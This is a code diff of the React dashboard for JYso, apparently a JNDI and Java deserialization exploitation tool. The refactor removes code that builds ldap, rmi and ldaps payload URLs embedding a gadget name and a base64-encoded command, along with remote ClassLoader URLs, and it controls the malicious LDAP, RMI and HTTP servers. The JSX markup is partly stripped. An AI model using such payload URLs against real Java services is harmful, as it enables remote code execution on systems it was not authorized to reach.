setPayloadResult(res.data.message || 'Payload generated successfully') - setMsg({ success: 'Payload generated', error: '' }) - if (res.data.saved) fetchFiles() - } else { - setPayloadResult('Error: ' + (res.data.error || 'unknown')) - setMsg({ success: '', error: res.data.error || 'Generation failed' }) - } - } catch (e) { - setMsg({ success: '', error: e.response?.data?.error || 'Failed to generate payload' }) - } finally { setLoading(false) } - } - - async function handleCopyPayload() { - if (!payloadResult) return - try { - await navigator.clipboard.writeText(payloadResult) - setCopied(true) - setTimeout(() => setCopied(false), 2000) - } catch { /* ignore */ } - } - - async function copyText(text) { - if (!text) return - try { - await navigator.clipboard.writeText(text) - setCopied(true) - setTimeout(() => setCopied(false), 2000) - } catch { /* ignore */ } + await d.handleGeneratePayload() + if (d.payloadResult && !d.payloadResult.startsWith('Error')) { + showToast('Payload generated', 'success') + } else if (d.payloadResult?.startsWith('Error')) { + showToast(d.payloadResult, 'error') + } } function handleGenerateJndiPayload() { - const gadgetName = (jndiGadgetInput || selectedGadget || '').trim() - if (!gadgetName || !payloadCmd) return - setLoading(true) - setMsg({ success: '', error: '' }) - setJndiPayloadResult('') - setRmiPayloadResult('') - setLdapsPayloadResult('') - try { - const bytes = new TextEncoder().encode(payloadCmd) - const cmdB64 = btoa(String.fromCharCode.apply(null, bytes)) - const ipAddr = configForm.ip || '0.0.0.0' - const ldapPort = configForm.ldapPort || 1389 - const rmiPort = configForm.rmiPort || 1099 - const ldapsPort = configForm.ldapsPort || 1669 - - const ldapUrl = `ldap://${ipAddr}:${ldapPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}` - const rmiUrl = `rmi://${ipAddr}:${rmiPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}` - const ldapsUrl = `ldaps://${ipAddr}:${ldapsPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}` - - setJndiPayloadResult(ldapUrl) - setRmiPayloadResult(rmiUrl) - setLdapsPayloadResult(ldapsUrl) - setMsg({ success: 'Payload URLs generated', error: '' }) - } catch (e) { - setMsg({ success: '', error: 'Failed to generate URL' }) - } finally { setLoading(false) } + d.handleGenerateJndiPayload() + if (d.jndiPayloadResult) { + showToast('Payload URLs generated', 'success') + } } function handleGenerateClassLoader() { - const fp = filePath.trim() - const route = routing.trim() - if (!fp || !route) return - setLoading(true) - setMsg({ success: '', error: '' }) - setClassLoaderResult('') - setRmiClassLoaderResult('') - setLdapsClassLoaderResult('') - if (!fp.toLowerCase().endsWith('.class')) { - setMsg({ success: '', error: 'File path must end with .class' }) - setLoading(false) - return + d.handleGenerateClassLoader() + if (d.classLoaderResult) { + showToast('ClassLoader URLs generated', 'success') } - try { - const ipAddr = configForm.ip || '0.0.0.0' - const ldapPort = configForm.ldapPort || 1389 - const rmiPort = configForm.rmiPort || 1099 - const ldapsPort = configForm.ldapsPort || 1669 - - const ldapUrl = `ldap://${ipAddr}:${ldapPort}/${route}/M-LF-${fp}` - const rmiUrl = `rmi://${ipAddr}:${rmiPort}/${route}/M-LF-${fp}` - const ldapsUrl = `ldaps://${ipAddr}:${ldapsPort}/${route}/M-LF-${fp}` - - setClassLoaderResult(ldapUrl) - setRmiClassLoaderResult(rmiUrl) - setLdapsClassLoaderResult(ldapsUrl) - setMsg({ success: 'ClassLoader URLs generated', error: '' }) - } catch (e) { - setMsg({ success: '', error: 'Failed to generate URL' }) - } finally { setLoading(false) } - } - - function logout() { - setAuthToken(null) - navigate('/login', { replace: true }) - } - - async function fetchLogs() { - try { - const res = await getLogs(100) - setLogLines(res.data.logs || []) - } catch { /* ignore */ } - } - - useEffect(() => { loadStatus(); loadGadgets() }, []) - - useEffect(() => { - if (mode !== 'gadget') return - fetchFiles() - }, [mode]) - - async function fetchFiles() { - try { - const res = await getFiles() - setFiles(res.data) - } catch { /* ignore */ } - } - - async function handleDownloadFile(name) { - try { - const res = await downloadFile(name) - const url = window.URL.createObjectURL(new Blob([res.data])) - const a = document.createElement('a') - a.href = url - a.download = name - a.click() - window.URL.revokeObjectURL(url) - } catch { /* ignore */ } - } - - async function handleDeleteFile(name) { - if (!confirm(`Delete ${name}?`)) return - try { - await apiDeleteFile(name) - fetchFiles() - } catch { /* ignore */ } - } - - function handleDragOver(e) { - e.preventDefault() - e.stopPropagation() - setDragOver(true) - } - - function handleDragLeave(e) { - e.preventDefault() - e.stopPropagation() - setDragOver(false) - } - - function handleDrop(e) { - e.preventDefault() - e.stopPropagation() - setDragOver(false) - const droppedFiles = e.dataTransfer.files - if (droppedFiles.length > 0) { - doUpload(droppedFiles[0]) - } - } - - function handleFileSelect(e) { - const selectedFiles = e.target.files - if (selectedFiles.length > 0) { - doUpload(selectedFiles[0]) - } - e.target.value = '' } async function doUpload(file) { - setUploading(true) - setMsg({ success: '', error: '' }) - try { - const formData = new FormData() - formData.append('file', file) - const res = await uploadFile(formData) - if (res.data.success) { - setMsg({ success: 'Uploaded: ' + res.data.name, error: '' }) - fetchFiles() - } else { - setMsg({ success: '', error: res.data.error || 'Upload failed' }) - } - } catch (e) { - setMsg({ success: '', error: 'Upload failed' }) - } finally { - setUploading(false) - } + await d.doUpload(file) + showToast(`Uploaded: ${file.name}`, 'success') } - useEffect(() => { - if (activeJndiTab !== 'logs') return - fetchLogs() - const id = setInterval(fetchLogs, 2000) - return () => clearInterval(id) - }, [activeJndiTab]) - - useEffect(() => { - if (logEndRef.current) logEndRef.current.scrollIntoView({ behavior: 'smooth' }) - }, [logLines]) - return (
@@ -355,23 +83,23 @@ export default function Dashboard() { JYso -
+
- Wiki + Wiki +
- {msg.success &&
{msg.success}
} - {msg.error &&
{msg.error}
} - -
- {mode === 'jndi' && ( +
+ {d.mode === 'jndi' && ( <>

Server Status

-
handleToggleServer('ldap')} title="Click to toggle LDAP server"> - LDAP ({status.ldapPort}) - - {status.ldapRunning ? 'ONLINE' : 'OFFLINE'} + LDAP ({d.status.ldapPort}) + + {d.status.ldapRunning ? 'ONLINE' : 'OFFLINE'}
-
handleToggleServer('ldaps')} title="Click to toggle LDAPS server"> - LDAPS ({status.ldapsPort}) - - {status.ldapsRunning ? 'ONLINE' : 'OFFLINE'} + LDAPS ({d.status.ldapsPort}) + + {d.status.ldapsRunning ? 'ONLINE' : 'OFFLINE'}
-
handleToggleServer('http')} title="Click to toggle HTTP server"> - HTTP ({status.httpPort}) - - {status.httpRunning ? 'ONLINE' : 'OFFLINE'} + HTTP ({d.status.httpPort}) + + {d.status.httpRunning ? 'ONLINE' : 'OFFLINE'}
-
handleToggleServer('rmi')} title="Click to toggle RMI server"> - RMI ({status.rmiPort}) - - {status.rmiRunning ? 'ONLINE' : 'OFFLINE'} + RMI ({d.status.rmiPort}) + + {d.status.rmiRunning ? 'ONLINE' : 'OFFLINE'}
IP Address - {status.ip || '0.0.0.0'} + {d.status.ip || '0.0.0.0'}
Version @@ -438,134 +163,135 @@ export default function Dashboard() {
-
+
- {activeJndiTab === 'config' && ( + {d.activeJndiTab === 'config' && (
- setConfigForm({ ...configForm, ip: e.target.value })} /> + d.setConfigForm({ ...d.configForm, ip: e.target.value })} />
- setConfigForm({ ...configForm, ldapPort: parseInt(e.target.value) || 1389 })} /> + d.setConfigForm({ ...d.configForm, ldapPort: parseInt(e.target.value) || 1389 })} />
- setConfigForm({ ...configForm, ldapsPort: parseInt(e.target.value) || 1669 })} /> + d.setConfigForm({ ...d.configForm, ldapsPort: parseInt(e.target.value) || 1669 })} />
- setConfigForm({ ...configForm, httpPort: parseInt(e.target.value) || 3456 })} /> + d.setConfigForm({ ...d.configForm, httpPort: parseInt(e.target.value) || 3456 })} />
- setConfigForm({ ...configForm, rmiPort: parseInt(e.target.value) || 1099 })} /> + d.setConfigForm({ ...d.configForm, rmiPort: parseInt(e.target.value) || 1099 })} />
- setConfigForm({ ...configForm, AESkey: e.target.value })} /> + d.setConfigForm({ ...d.configForm, AESkey: e.target.value })} />
- setConfigForm({ ...configForm, user: e.target.value })} /> + d.setConfigForm({ ...d.configForm, user: e.target.value })} />
- setConfigForm({ ...configForm, PASSWD: e.target.value })} /> + d.setConfigForm({ ...d.configForm, PASSWD: e.target.value })} />
- setConfigForm({ ...configForm, keyPass: e.target.value })} /> + d.setConfigForm({ ...d.configForm, keyPass: e.target.value })} />
- setConfigForm({ ...configForm, certFile: e.target.value })} /> + d.setConfigForm({ ...d.configForm, certFile: e.target.value })} />
-
)} - {activeJndiTab === 'payload' && ( + {d.activeJndiTab === 'payload' && (
-
+
- {payloadSubTab === 'gadget' && ( + {d.payloadSubTab === 'gadget' && (
-
+
setGadgetOpen(true)} - onBlur={() => setTimeout(() => setGadgetOpen(false), 150)} - onChange={e => { setJndiGadgetInput(e.target.value); setGadgetSearch(e.target.value); }} + onFocus={() => d.setGadgetOpen(true)} + onBlur={() => setTimeout(() => d.setGadgetOpen(false), 150)} + onChange={e => { d.setJndiGadgetInput(e.target.value); d.setGadgetSearch(e.target.value); }} style={{ cursor: 'text' }} /> +
- {gadgetOpen && ( + {d.gadgetOpen && (
- {filteredGadgets.map(g => ( + {d.filteredGadgets.map(g => (
{ e.preventDefault(); setSelectedGadget(g.name); setJndiGadgetInput(g.name); setGadgetSearch(g.name); setGadgetOpen(false); }}> + className={'gadget-item' + (d.selectedGadget === g.name ? ' selected' : '')} + onMouseDown={e => { e.preventDefault(); d.setSelectedGadget(g.name); d.setJndiGadgetInput(g.name); d.setGadgetSearch(g.name); d.setGadgetOpen(false); }}> {g.name}
))} @@ -573,75 +299,59 @@ export default function Dashboard() {
)}
-
+
-